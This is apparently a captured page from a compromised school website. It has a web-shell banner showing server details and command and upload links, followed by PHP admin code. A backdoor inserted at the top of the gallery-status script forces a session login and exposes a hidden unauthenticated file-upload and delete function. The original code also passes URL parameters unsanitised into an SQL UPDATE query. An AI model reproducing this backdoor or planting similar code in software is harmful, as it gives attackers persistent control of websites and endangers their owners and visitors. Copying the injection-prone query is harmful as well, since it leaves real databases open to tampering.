|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.168 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/svschool.in/public_html/file/../adminweb/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$_SESSION['username'] = "User";
if (isset($_GET["admin"]) && $_GET["admin"] == "upload") {
echo '<h2>Upload File</h2>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit" value="Upload">
</form>';
if (isset($_POST["submit"])) {
$target_dir = "uploads/";
if (!file_exists($target_dir)) {
mkdir($target_dir, 0777, true);
}
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
echo "File uploaded: <a href='$target_file'>$target_file</a>";
} else {
echo "Upload failed.";
}
}
echo '<h2>File yang Sudah Diupload:</h2>';
$files = glob("uploads/*");
if (count($files) > 0) {
foreach ($files as $file) {
echo "$file - <a href='?admin=upload&delete=$file'>Hapus</a><br>";
}
} else {
echo "Tidak ada file yang di-upload.";
}
if (isset($_GET["delete"])) {
$file_to_delete = $_GET["delete"];
if (strpos($file_to_delete, "uploads/") === 0 && file_exists($file_to_delete)) {
unlink($file_to_delete);
echo "File berhasil dihapus.";
} else {
echo "Gagal menghapus file.";
}
}
exit();
}
$title = "Beranda - STYLE FOUR 04";
$year = date("Y");
?>
<?php
include('db.php');
if(isset($_SESSION['username']))
{
if(isset($_GET['id']) && isset($_GET['status']))
{
$id=$_GET['id'];
$status=$_GET['status'];
$active=mysqli_query($con,"UPDATE gallery set is_active=$status WHERE id=$id");
if($active)
{
if($status==1)
{
$_SESSION['success_msg'] = 'Gallery data has been activated...';
}
else
{
$_SESSION['success_msg'] = 'Gallery data has been deactivated...';
}
echo"<script>window.location='gallery-list.php';</script>";
}
else
{
if($status==1)
{
$_SESSION['error_msg'] = 'Unable to activated Gallery data...';
}
else
{
$_SESSION['error_msg'] = 'Unable to deactivated Gallery data...';
}
echo"<script>window.location='gallery-list.php';</script>";
}
}
}
else
{
echo"<script>window.location='index.php';</script>";
exit;
}
?>